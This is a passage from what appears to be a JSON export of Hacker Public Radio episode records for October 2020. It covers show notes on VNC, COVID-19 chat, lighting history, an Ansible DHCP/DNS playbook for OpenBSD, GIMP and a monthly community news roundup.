                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, paths, zoom, GEGL","version":0,"downloads":0,"valid":1}, {"id":3181,"date":"2020-10-12","title":"RealVNC cloud offering","duration":262,"summary":"JWP emails in a show about using VNC while out and about","notes":"

                                                            \nJust a short podcast about RealVNC cloud offering.\nAn interesting VNC option if you want to connect on the road or the at\nthe coffee shop to a server back home without putting holes in your router.\n

                                                            \n

                                                            \nhttps://www.realvnc.com/en/news/what-vnc-cloud/\n

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"realvnc, remote computing","version":0,"downloads":0,"valid":1}, {"id":3182,"date":"2020-10-13","title":"Yo-ho-ho, and a bottle of Cholecalciferol","duration":4763,"summary":"From Scotland, two HPR hosts chew the fat","notes":"

                                                            Introduction

                                                            \n

                                                            Two HPR hosts from Scotland get together over Mumble one more time to chat about all manner of stuff.

                                                            \n\n

                                                            We recorded on Saturday 19th September 2020, which was International Talk Like A Pirate Day, we but managed to avoid any utterances of ARRRR!, and the use of marlinspikes, fids or belaying pins. Also, no timbers were shivered and no mainbraces spliced (not while recording anyway).

                                                            \n

                                                            Notes

                                                            \n

                                                            Some of the topics we discussed:

                                                            \n
                                                              \n
                                                            • COVID-19:\n
                                                                \n
                                                              • The increase in COVID-19 cases in Scotland, particularly Glasgow\n
                                                                  \n
                                                                • Movement in Glasgow is more restricted than in Edinburgh at time of recording
                                                                • \n
                                                              • \n
                                                              • The KCL COVID tracker, described further in an article with more details\n
                                                                  \n
                                                                • Andrew is using this
                                                                • \n
                                                              • \n
                                                              • Is Glasgow the most infected city in the UK?
                                                              • \n
                                                              • This week in Virology podcast discussing easing of lock down and return of children to school, both likely to increase infections.
                                                              • \n
                                                              • Vitamin D (D3 in particular1) seems to have a beneficial effect in COVID-19 cases. Having an optimal level of the vitamin seems to help ameliorate the COVID-19 effects, whereas being deficient can apparently result in more severe effects. See the study in the Journal of Steroid Biochemistry and Molecular Biology
                                                              • \n
                                                              • Long-term immunity and t-cells: see the Nature paper mentioned in the episode
                                                              • \n
                                                              • The virus is called SARS-CoV-22 (as opposed to SARS-CoV-1, the previous SARS coronavirus). The disease is called COVID-193.
                                                              • \n
                                                              • Speculations heard:\n
                                                                  \n
                                                                • Whether having had the BCG immunisation against tuberculosis helps protect from COVID-19.
                                                                • \n
                                                                • Whether exposure to other (milder) corona viruses can provide immunity to SARS-CoV-2.
                                                                • \n
                                                              • \n
                                                              • The puzzling case of Sweden and COVID-19
                                                              • \n
                                                              • Have there been randomised controlled trials of the effectiveness of the masks in common use?4
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • What we’re doing in lockdown:\n
                                                                \n
                                                              • Dave: cooking for the family 2 nights a week; shopping “by proxy”; not going to the gym yet
                                                              • \n
                                                              • Andrew: exercising at home; tried the gym a couple of times but was put off by overcrowding; working on the BBC Micro (check HPR show hpr2731 :: My 8 bit Christmas)
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • BBC Micro:\n
                                                                \n
                                                              • A 32KiB 8-bit computer based around the 6502 CPU, made by Acorn Computers Ltd.
                                                              • \n
                                                              • Game: Twin Kingdom Valley originally played by Andrew in 1982/3. He has been:\n
                                                                  \n
                                                                • Disassembling the game (which is in machine code).\n
                                                                    \n
                                                                  • Disassembly is non-trivial when data is interleaved with the code.
                                                                  • \n
                                                                • \n
                                                                • Rewriting the non-graphic code in C
                                                                • \n
                                                              • \n
                                                              • The BBC had a paged ROM area known as the Sideways ROM (see the System Memory Map)
                                                              • \n
                                                              • Andrew had the ROM game Dr. Who and the Mines of Terror!.
                                                              • \n
                                                              • The 65C02 processor is still being made!
                                                              • \n
                                                              • Ben Eater on YouTube is explaining the workings of the 6502, amongst other things.\n
                                                              • \n
                                                              • The 6502 could be seen as an early RISC (Reduced Instruction Set) machine (though not intentionally). Acorn created the Acorn RISC Machine (ARM) for the Archimedes and eventually spun off ARM Ltd.
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Internet bandwidth in Scotland\n
                                                                \n
                                                              • Dave’s street has just had optical fibre installed. He has an ADSL link at present which is slow and not always reliable
                                                              • \n
                                                              • Andrew has cable, which is very reliable. Reliability is more important than very high speeds, as is low latency
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR queue state:\n
                                                                \n
                                                              • OK for the next couple of weeks (at time of recording)
                                                              • \n
                                                              • A new show then arrived at that point!
                                                              • \n
                                                              • HPR always needs shows!
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Programming languages:\n
                                                                \n
                                                              • Dave hasn’t been too keen on using assembler since the late 1980’s
                                                              • \n
                                                              • Andrew has been a Java programmer but likes the slimness of C
                                                              • \n
                                                              • Dave tinkered with FORTH on the BBC Micro at one time, and wrote some stuff in PostScript as a programming language
                                                              • \n
                                                              • FORTH was used to control telescopes at one time
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            1. Vitamin D3 is also known as cholecalciferol.↩︎

                                                            2. \n
                                                            3. SARS-CoV-2: SARS stands for Severe Acute Respiratory Syndrome, CoV means Corona Virus and the 2 refers to the second SARS corona virus in recent times.↩︎

                                                            4. \n
                                                            5. COVID-19: simply means coronavirus disease 19, referring to its arrival in 2019.↩︎

                                                            6. \n
                                                            7. Some clarification of the types of mask being used most commonly might be needed. Andrew was thinking of the fabric masks when speaking about this. Some research after the recording discovered a mask-related trial as follows: Human coronavirus data from four clinical trials of masks and respirators.↩︎

                                                            8. \n
                                                            \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"COVID-19,SARS-Cov-2,Vitamin D,6502 microprocessor,BBC Micro","version":0,"downloads":0,"valid":1}, {"id":3183,"date":"2020-10-14","title":"Don't trust zipfiles","duration":277,"summary":"Zipfiles can contain all kinds of evilness and unpacking them can lead to unexpected results","notes":"

                                                            This show explains the concept of injecting symbolic links into zipfiles and how those can be used to attack a web application.

                                                            ","hostid":387,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"pentesting,security,hacking,zip","version":0,"downloads":0,"valid":1}, {"id":3184,"date":"2020-10-15","title":"Linux Inlaws S01E15: IT Security and stick insects","duration":3368,"summary":"How to secure photos of your stick insect collection and more ","notes":"

                                                            In this episode Martin discovers that protecting pictures of stick insects (rated XXX or not)\non USB sticks (pun intended) can be an ardous endeavour indeed. Never mind eventually turning\nthis into a business including web servers, shared file spaces and password storage. Additional\nbonus: the lovely Emma from Rainbow Escorts makes another cameo apperance supported by some Irish, um, students.

                                                            \n

                                                            Shownotes:

                                                            \n","hostid":384,"series":111,"explicit":0,"license":"CC-BY-SA","tags":"IT Security, stick insects, Rainbow Escorts, Grumpy Old Coders","version":0,"downloads":0,"valid":1}, {"id":3185,"date":"2020-10-16","title":"Pandemics In History","duration":1062,"summary":"Infectious disease is one of the most important factors influencing human history","notes":"

                                                            This is a look at how infectious diseases have changed the course of human history. It is admittedly a bit Euro- or Western-centric since that is what I know best. But I think the point of its importance applies more broadly.

                                                            \n\n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Infectious Disease, History, Pandemics","version":0,"downloads":0,"valid":1}, {"id":3186,"date":"2020-10-19","title":"A light bulb moment, part 2","duration":450,"summary":"The history of lighting","notes":"

                                                            A very brief history of lighting

                                                            \n

                                                            Natural light first came from fire

                                                            \n

                                                            Then using oil and fat with a wick

                                                            \n

                                                            Early candles used animal fat this smelled awful and tended to spit

                                                            \n

                                                            Some parts of world used whole animals as candles

                                                            \n

                                                            These early candles gave so little light that people generally just went to bed at sunset

                                                            \n

                                                            Electric lighting started first by Humphry Davy in the early 1800’s using an arc, this was developed into commercial lighting in the 1840s

                                                            \n

                                                            Arc lighting needed a complex mechanism to gradually push the contacts together as they burnt away

                                                            \n

                                                            Gas lighting started around the 1850s this was improved in the 1870 with the advent of the Gas mantel.

                                                            \n

                                                            Thomas Edison develop the electric light bulb in 1879 using a carbon filament. It took a great deal of effort to convince people to use it because gas lighting was so well established and worked well.

                                                            \n

                                                            Many houses in Britain didn't install electric lighting until the 1930s

                                                            \n

                                                            Finally electricity won as it could be used for so many other things.

                                                            \n

                                                            The tungsten filament bulb

                                                            \n

                                                            The filament within the bulb is made up of a tungsten coiled coil wire. This is done because the more compactly a filament can be wound the less heat is lost to the surroundings and the brighter the bulb will glow.

                                                            \n

                                                            The tungsten halogen bulb

                                                            \n

                                                            The next progression was tungsten halogen bulb, these bulbs are more efficient and give out twice as much light as ordinary bulbs and usually last twice as long.

                                                            \n

                                                            All filament lights waste a lot of energy producing heat. An ordinary light bulb only gives out 10% of its energy as light, the rest is wasted as heat.

                                                            \n

                                                            Fluorescent neon lights

                                                            \n

                                                            Fluorescent neon lights were invented in 1905 by a French man called George Claude. These were used for advertising mainly in America.

                                                            \n

                                                            Fluorescent strip light

                                                            \n

                                                            The first fluorescent light was introduced in 1939 it uses the same principle as the neon light but incorporates a filament at both ends. It is filled with argon and mercury vapour. It mainly gives off ultra violet light the tube is coated on the inside with chemicals to convert the output to mostly visible light using a property called fluorescence.

                                                            \n

                                                            Fluorescent tubes are four times as efficient as normal incandescent light bulbs and run cool.

                                                            \n

                                                            The first energy efficient light bulbs were just fluorescent lights folded into a compact bulb shape.

                                                            \n

                                                            Sodium lights

                                                            \n

                                                            Sodium lights used mainly in street lighting are twice as efficient again as fluorescent bulbs they give off a rather horrible orange colour.

                                                            \n

                                                            The first commercial high-pressure sodium lamps were available in 1965 from companies in the United States, the United Kingdom, and the Netherlands; at introduction a 400 watt lamp would produce around 100 lumens per watt https://en.wikipedia.org/wiki/Sodium-vapor_lamp

                                                            \n

                                                            The next big development was LED lighting which I'll cover in my next episode.

                                                            \n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hardware, electrical","version":0,"downloads":0,"valid":1}, {"id":3187,"date":"2020-10-20","title":"Ansible for Dynamic Host Configuration Protocol","duration":518,"summary":"How I use ansible to configure my OpenBSD router","notes":"

                                                            Ansible DHCPD and DNS

                                                            \n

                                                            Using Ansible to configure DHCPD and NDS on OpenBSD

                                                            \n
                                                              \n
                                                            • Host data is stored in csv files
                                                            • \n
                                                            • Ansible templates to create config files
                                                            • \n
                                                            • Restart services
                                                            • \n
                                                            \n

                                                            hostname-setup.yml

                                                            \n
                                                            ---\n- hosts: localhost\n  tasks:\n  - name: read subnet 10\n    read_csv:\n      path: 10.csv\n      fieldnames: mac,ip,hostname\n    register: subnet_10\n  - name: read subnet 11\n    read_csv:\n      path: 11.csv\n      fieldnames: mac,ip,hostname\n    register: subnet_11\n  - name: read static\n    read_csv:\n      path: static.csv\n      fieldnames: hostname,ip\n    register: static_ip\n\n  - name: write dhcp file\n    template:\n      src: dhcpd.conf.j2\n      dest: /etc/dhcpd.conf\n      validate: dhcpd -nc %s\n  - name: write local.lan zone file\n    template:\n      src: local.lan.zone.j2\n      dest: /var/nsd/zones/master/local.lan\n      owner: root\n      group: _nsd\n      validate: nsd-checkzone local.lan %s\n  - name: nsd_conf\n    copy:\n      src: nsd.conf\n      dest: /var/nsd/etc/nsd.conf\n      owner: root\n      group: _nsd\n      validate: nsd-checkconf %s\n  - name: restart nsd\n    service:\n      name: nsd\n      state: restarted\n  - name: restart dhcpd\n    service:\n      name: dhcpd\n      state: restarted\n  - name: restart unbound\n    service:\n      name: unbound\n      state: restarted
                                                            \n

                                                            10.csv

                                                            \n
                                                            b8:27:eb:8b:7a:6d,192.168.10.100,pi3a\nb8:27:eb:ef:f2:d4,192.168.10.101,pi3b\n28:10:7b:25:d5:60,192.168.10.79,ipcam3\n28:10:7b:0c:fa:7b,192.168.10.80,ipcam1\nf0:7d:68:0b:ca:56,192.168.10.81,ipcam2
                                                            \n

                                                            static.csv

                                                            \n
                                                            tplink,192.168.10.2\ngate,192.168.10.10\nwww,192.168.10.10\nfox,192.168.10.17
                                                            \n

                                                            dhcpd.conf.j2

                                                            \n
                                                            option  domain-name "local.lan";\noption  domain-name-servers 192.168.10.10;\n\nsubnet 192.168.10.0 netmask 255.255.255.0 {\n        option routers 192.168.10.10;\n        range 192.168.10.161 192.168.10.179;\n        {% for host in subnet_10.list %}\n        host static-client { hardware ethernet {{ host.mac }};fixed-address {{ host.ip }};} #{{ host.hostname }}\n        {% endfor %}\n}\n\nsubnet 192.168.11.0 netmask 255.255.255.0 {\n    option routers 192.168.11.10;\n    range 192.168.11.72 192.168.11.127;\n{% for host in subnet_11.list %}\nhost static-client { hardware ethernet {{ host.mac }};fixed-address {{ host.ip }};} #{{ host.hostname }}\n{% endfor %}\n}\n
                                                            \n

                                                            Rendered DHCP entires

                                                            \n
                                                            host static-client { hardware ethernet b8:27:eb:de:2f:38;fixed-address 192.168.10.45;} #pi3a\nhost static-client { hardware ethernet 28:10:7b:25:d5:60;fixed-address 192.168.10.79;} #ipcam3\nhost static-client { hardware ethernet 28:10:7b:0c:fa:7b;fixed-address 192.168.10.80;} #ipcam1\n
                                                            \n

                                                            local.lan.zone.j2

                                                            \n
                                                            $TTL 3600\nlocal.lan. IN     SOA    a.root-servers.net. root. (\n                2016092901  ; Serial\n                3H          ; refresh after 3 hours\n                1H          ; retry after 1 hour\n                1W          ; expire after 1 week\n                1D)         ; minimum TTL of 1 day\n\nIN  NS  gate.\n\nIN  MX  50 gate.local.lan.\n\nlocal.lan.      IN A    192.168.10.10\n\n{% for host in static_ip.list%}\n{{ host.hostname }} IN A {{ host.ip }}\n{% endfor %}\n\n{% for host in subnet_10.list%}\n{{ host.hostname }} IN A {{ host.ip }}\n{% endfor %}\n\n{% for host in subnet_11.list%}\n{{ host.hostname }} IN A {{ host.ip }}\n{% endfor %}\n
                                                            \n

                                                            Rendered A records

                                                            \n
                                                            pi3b IN A 192.168.10.101\npi3a IN A 192.168.10.45\nipcam3 IN A 192.168.10.79\nipcam1 IN A 192.168.10.80
                                                            \n

                                                            Run the playbook

                                                            \n
                                                            ansible-playbook hostname-setup.yml
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ansible, dhcp, dns, openbsd","version":0,"downloads":0,"valid":1}, {"id":3188,"date":"2020-10-21","title":"Thrift store quick fix","duration":67,"summary":"Fixing up a dog coat for the cool weather.","notes":"

                                                            Thrift store quick fix for a dog coat.

                                                            \n
                                                              \n
                                                            1. Ripped out stitches on defective velcro.
                                                            2. \n
                                                            \n

                                                            Picture 1
                                                            \n\"Picture

                                                            \n
                                                              \n
                                                            1. Re-stitched with the flat surface facing up.
                                                            2. \n
                                                            \n

                                                            Picture 2
                                                            \n\"Picture

                                                            \n

                                                            Picture 3
                                                            \n\"Picture

                                                            \n
                                                              \n
                                                            1. Hot-glued replacement velcro.
                                                            2. \n
                                                            \n

                                                            Picture 4
                                                            \n\"Picture

                                                            \n
                                                              \n
                                                            1. Profit
                                                            2. \n
                                                            \n

                                                            Picture 5
                                                            \n\"Picture

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"sewing","version":0,"downloads":0,"valid":1}, {"id":3189,"date":"2020-10-22","title":"How the Dutch dig Graves","duration":163,"summary":"Ken explains how they dig graves when the ground is essentially sand","notes":"

                                                            \nOn a lock down walk in the local grave yard, Ken and his Wife stumble upon a new grave. As the soil is mostly sand, the graves need to be shored up to prevent collapse.\n

                                                            \n

                                                            \n\n

                                                            \n

                                                            \n\n

                                                            \n

                                                            \n\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"graves, sand, How Holland Works, Dutch, Netherlands","version":0,"downloads":0,"valid":1}, {"id":3190,"date":"2020-10-23","title":"GIMP Brushes","duration":1219,"summary":"Paint tools, and particularly the Paintbrush Tool, require the use of brushes.","notes":"

                                                            Brushes are a key part of using Paint tools, and in particular the Paintbrush Tool. And in this episode we look at how to work with, edit, download, and save different brushes. We look at the Brush Dialog, and examine the different settings that make them easier to work with.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, brushes","version":0,"downloads":0,"valid":1}, {"id":3191,"date":"2020-10-26","title":"Swedish Corona Experience","duration":969,"summary":"I will cover my experience of the Corona virus","notes":"

                                                            Swedish Health Authority Recommendation

                                                            \n
                                                              \n
                                                            • If sick stay at home.
                                                            • \n
                                                            • If you have symptoms take a test.
                                                            • \n
                                                            • Wash at least 20 seconds use alcohol with atleast 60% alcohol content.
                                                            • \n
                                                            • Don't touch your face with unwashed hands.
                                                            • \n
                                                            • Keep distance arm length (or 2m).
                                                            • \n
                                                            • Don't gather in large companies.
                                                            • \n
                                                            • Avoid public transport, try walking or biking when possible.\n
                                                                \n
                                                              • If required go with public transport book a ticket or go when others don't.
                                                              • \n
                                                            • \n
                                                            • If possible work from home.
                                                            • \n
                                                            \n

                                                            https://www.folkhalsomyndigheten.se/smittskydd-beredskap/utbrott/aktuella-utbrott/covid-19/

                                                            \n","hostid":382,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"corona, sweden","version":0,"downloads":0,"valid":1}, {"id":3192,"date":"2020-10-27","title":"A light bulb moment, part 3","duration":777,"summary":"The LED revolution","notes":"

                                                            LED History

                                                            \n

                                                            The history of the LED revolution is both long and complex but I'll do my best to cover it. Please forgive me if I mispronounce some of the materials and processes I'm not a lighting expert as I stated right back at the beginning of this series.

                                                            \n

                                                            The following excerpts are from Wikipedia; the link will be in the show notes, https://en.wikipedia.org/wiki/Light-emitting_diode

                                                            \n

                                                            The LED or Light Emitting Diode first appeared as a practical electronic component in 1962, the earliest LEDs emitted low-intensity infrared light.[7] Infrared LEDs are used in remote-control circuits, such as those used with a wide variety of consumer electronics. The first visible-light LEDs were of low intensity and limited to red. Modern LEDs are available across the visible, ultraviolet, and infrared wavelengths, with high light output. A great deal of development and refinement was required to get to this point.

                                                            \n

                                                            The first commercial visible-wavelength LEDs were commonly used as replacements for incandescent and neon indicator lamps, and in seven-segment displays,[31] first in expensive equipment such as laboratory and electronics test equipment, then later in such appliances as calculators, TVs, radios, telephones, as well as watches (see list of signal uses). Until 1968, visible and infrared LEDs were extremely costly, in the order of US$200 per unit, and so had little practical use.[32]

                                                            \n

                                                            In 1968 Monsanto was the first organization to mass-produce visible LEDs, these were red LEDs suitable for indicators.[32]

                                                            \n

                                                            In February 1969, Hewlett-Packard introduced the HP Model 5082-7000 Numeric Indicator, the first LED device to use integrated circuit (integrated LED circuit) technology.[33] It was the first intelligent LED display, and was a revolution in digital display technology, replacing the Nixie tube and becoming the basis for later LED displays.[36]

                                                            \n

                                                            The early red LEDs were bright enough only for use as indicators, as the light output was not enough to illuminate an area. Readouts in calculators were so small that plastic lenses were built over each digit to make them legible. Later, other colors became widely available and appeared in appliances and equipment.

                                                            \n

                                                            The first blue-violet LED using magnesium-doped gallium nitride was made at Stanford University in 1972 by Herb Maruska and Wally Rhines

                                                            \n

                                                            In 1973 Pankove and Ed Miller demonstrated the first blue electroluminescence from zinc-doped gallium nitride, though the subsequent device Pankove and Miller built, the first actual gallium nitride light-emitting diode, emitted green light.[49][50]

                                                            \n

                                                            Today, magnesium-doping of gallium nitride remains the basis for all commercial blue LEDs and laser diodes. In the early 1970s, these devices were too dim for practical use, and research into gallium nitride devices slowed.

                                                            \n

                                                            In 1993, high-brightness blue LEDs were demonstrated by Shuji Nakamura of Nichia Corporation using a gallium nitride growth process.[56][57][58] In parallel, Isamu Akasaki and Hiroshi Amano in Nagoya were working on developing the important GaN deposition on sapphire substrates and the demonstration of p-type doping of GaN. This new development revolutionized LED lighting, making high-power blue light sources practical, leading to the development of technologies like Blu-ray[citation needed].

                                                            \n

                                                            In 1995, Alberto Barbieri at the Cardiff University Laboratory (GB) investigated the efficiency and reliability of high-brightness LEDs and demonstrated a \"transparent contact\" LED using indium tin oxide (ITO) on (AlGaInP/GaAs).

                                                            \n

                                                            In 2001[62] and 2002,[63] processes for growing gallium nitride (GaN) LEDs on silicon were successfully demonstrated.

                                                            \n

                                                            In January 2012, Osram demonstrated high-power InGaN LEDs grown on silicon substrates commercially,[64] and GaN-on-silicon LEDs are in production at Plessey Semiconductors.

                                                            \n

                                                            White LEDs and the illumination breakthrough

                                                            \n

                                                            Even though white light can be created using individual red, green and blue LEDs, this results in poor color rendering, since only three narrow bands of wavelengths of light are being emitted. The attainment of high efficiency blue LEDs was quickly followed by the development of the first white LED. In this device a cerium doped phosphor coating produces yellow light through fluorescence. The combination of that yellow with remaining blue light appears white to the eye. Using different phosphors produces green and red light through fluorescence. The resulting mixture of red, green and blue is perceived as white light, with improved color rendering compared to wavelengths from the blue LED/YAG phosphor combination.

                                                            \n

                                                            The first white LEDs were expensive and inefficient. However, the light output of LEDs has increased exponentially. The latest research and development has been propagated by Japanese manufacturers such as Panasonic, and Nichia, and by Korean and Chinese manufacturers such as Samsung, Kingsun, and others. This trend in increased output has been called Haitz's law after Dr. Roland Haitz.[79]

                                                            \n

                                                            Figure 1
                                                            \n\"Figure
                                                            \nIllustration of Haitz's law, showing improvement in light output per LED over time, with a logarithmic scale on the vertical axis

                                                            \n

                                                            Light output and efficiency of blue and near-ultraviolet LEDs rose and the cost of reliable devices fell. This led to relatively high-power white-light LEDs for illumination, which are replacing incandescent and fluorescent lighting.[80][81]

                                                            \n

                                                            Experimental white LEDs have been demonstrated to produce 303 lumens per watt of electricity (lm/w); some can last up to 100,000 hours.[82][83] However, commercially available LEDs have an efficiency of up to 223 lm/w.[84][85][86]

                                                            \n

                                                            Below are some comparisons for incandescent bulbs

                                                            \n

                                                            Some figures I found online from Wikipedia

                                                            \n

                                                            https://en.wikipedia.org/wiki/Incandescent_light_bulb

                                                            \n

                                                            (Example figure for Standard Incandescent bulb only 12.6 lm / W)

                                                            \n

                                                            (Example figures for Halogen bulb being 24 lm / W)

                                                            \n

                                                            With LEDs continuing to get cheaper and even though for now they cost more than traditional bulbs, having this huge increase in electrical efficiency means the overall cost is significantly cheaper than that of incandescent bulbs.[87]

                                                            \n

                                                            While indicator LEDs are known for their extremely long life, up to 100,000 hours, lighting LEDs are operated much less conservatively, and consequently have shorter lives. LED technology is useful for lighting designers, because of its low power consumption, low heat generation, instantaneous on/off control, and in the case of single color LEDs, continuity of color throughout the life of the diode and relatively low cost of manufacture. LED lifetime depends strongly on the temperature of the diode. Operating an LED lamp in conditions that increase the internal temperature can greatly shorten the lamp's life.

                                                            \n

                                                            I now use LED lighting in my own home particularly in the areas where lighting is on for extended periods such as in the living room.

                                                            \n

                                                            As you can see we have come an extremely long way in a relatively short space of time with advancements continuing to accelerate.

                                                            \n

                                                            It's hard to appreciate the massive impact electric lighting has had on the world.

                                                            \n

                                                            It's even harder to imagine living in a time not that long ago where an expensive candle producing a puny amount illumination was the only source of light, with the added not inconsiderable fire risk of having a naked flame sharing a room with combustible materials.

                                                            \n

                                                            With all these deterrents it's little wonder that people just went to bed when the sun went down.

                                                            \n","hostid":201,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Electrical, Hacks","version":0,"downloads":0,"valid":1}, {"id":3193,"date":"2020-10-28","title":"Meet Antithesis","duration":1946,"summary":"Meet my new computer, a Pinebook Pro, as I explain my rationale, unbox it, and set it up.","notes":"

                                                            In this episode Paul discusses his thoughts in ordering a Pinebook Pro. During the episode he does an unboxing, and then comes back after a week of use to let us know how it preforms in practice.
                                                            \n\nYou can get one yourself here: https://www.pine64.org/

                                                            \n","hostid":383,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Pinebook,Pro,64,unboxing","version":0,"downloads":0,"valid":1}, {"id":3194,"date":"2020-10-29","title":"Linux Inlaws S01E16: The count and the questions","duration":4061,"summary":"Linux Inlaws S01E16: This is Linux Inlaws, a series on free and open source software, black humour a","notes":"","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Count, questions, vlad, legends, Halloween","version":0,"downloads":0,"valid":1}, {"id":3195,"date":"2020-10-30","title":"For your Consideration - the ideal Ham Radio setup","duration":3470,"summary":"Introducing a new podcast to me, with a special guest with an interest in amateur radio.","notes":"
                                                              \n
                                                            1. Host Noah Cheliah

                                                            2. \n
                                                            3. Plenty of Linux security and IP cameras talk

                                                            4. \n
                                                            5. Focus on Free Software and related news

                                                            6. \n
                                                            7. Noah brings on a guest, who describe his ideal Ham Radio setup, which includes use of Software Defined radio.

                                                              \n

                                                              https://en.wikipedia.org/wiki/Software-defined_radio

                                                            8. \n
                                                            9. Guest talking about Ham Radio starts at 00:25:42

                                                              \n

                                                              https://podcast.asknoahshow.com/200

                                                            10. \n
                                                            \n","hostid":318,"series":75,"explicit":0,"license":"CC-BY-NC-ND","tags":"linux, security, amateur radio","version":0,"downloads":0,"valid":1}, {"id":3196,"date":"2020-11-02","title":"HPR Community News for October 2020","duration":5375,"summary":"Dave and Ken review the months happenings, and try various pronunciations of Cedric De Vroeys name.","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3174Thu2020-10-01Linux Inlaws S01E14: The big programming language panelmonochromec
                                                            3175Fri2020-10-02International KeyboardAhuka
                                                            3176Mon2020-10-05HPR Community News for September 2020HPR Volunteers
                                                            3177Tue2020-10-06Zero cost VPNnorrist
                                                            3178Wed2020-10-07Finishing the Recumbent BicycleBrian in Ohio
                                                            3179Thu2020-10-08MakeMKV to back up media, and a QuestionArcher72
                                                            3180Fri2020-10-09GIMP: Miscellaneous ToolsAhuka
                                                            3181Mon2020-10-12RealVNC cloud offeringJWP
                                                            3182Tue2020-10-13Yo-ho-ho, and a bottle of CholecalciferolDave Morriss
                                                            3183Wed2020-10-14Don't trust zipfilesCedric De Vroey
                                                            3184Thu2020-10-15Linux Inlaws S01E15: IT Security and stick insectsmonochromec
                                                            3185Fri2020-10-16Pandemics In HistoryAhuka
                                                            3186Mon2020-10-19A light bulb moment, part 2MrX
                                                            3187Tue2020-10-20Ansible for Dynamic Host Configuration Protocolnorrist
                                                            3188Wed2020-10-21Thrift store quick fixArcher72
                                                            3189Thu2020-10-22How the Dutch dig GravesKen Fallon
                                                            3190Fri2020-10-23GIMP BrushesAhuka
                                                            3191Mon2020-10-26Swedish Corona ExperienceDaniel Persson
                                                            3192Tue2020-10-27A light bulb moment, part 3MrX
                                                            3193Wed2020-10-28Meet AntithesisPaul Quirk
                                                            3194Thu2020-10-29Linux Inlaws S01E16: The count and the questionsmonochromec
                                                            3195Fri2020-10-30For your Consideration - the ideal Ham Radio setupArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There is 1 comment on\n1 previous show:

                                                            \n
                                                              \n
                                                            • hpr3153\n(2020-09-02) \"Fixing eBooks with Calibre and pdfcrop\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2020-10-21:\n\"Thank for this\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3175\n(2020-10-02) \"International Keyboard\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGumnos on 2020-10-03:\n\"Using the X \"Compose\" key\"

                                                              \n
                                                            • hpr3176\n(2020-10-05) \"HPR Community News for September 2020\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2020-10-05:\n\"YAML, spacing and ansible-lint\"

                                                              \n
                                                            • hpr3179\n(2020-10-08) \"MakeMKV to back up media, and a Question\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\njanedoc on 2020-10-09:\n\"using make mkv\"

                                                              \n
                                                            • hpr3180\n(2020-10-09) \"GIMP: Miscellaneous Tools\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2020-10-10:\n\"contribution back\"
                                                              • Comment 2:\nKevin O'Brien on 2020-10-10:\n\"Donating to Fedora\"

                                                              \n
                                                            • hpr3184\n(2020-10-15) \"Linux Inlaws S01E15: IT Security and stick insects\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2020-10-15:\n\"Mix not quite right?\"
                                                              • Comment 2:\nCedric De Vroey on 2020-10-26:\n\"Great show keep them comming :-)\"

                                                              \n
                                                            • hpr3185\n(2020-10-16) \"Pandemics In History\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-10-16:\n\"fear porn\"
                                                              • Comment 2:\nCedric De Vroey on 2020-10-26:\n\"Ahuka\"

                                                              \n
                                                            • hpr3187\n(2020-10-20) \"Ansible for Dynamic Host Configuration Protocol\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nCedric De Vroey on 2020-10-26:\n\"Also getting into Ansible\"

                                                              \n
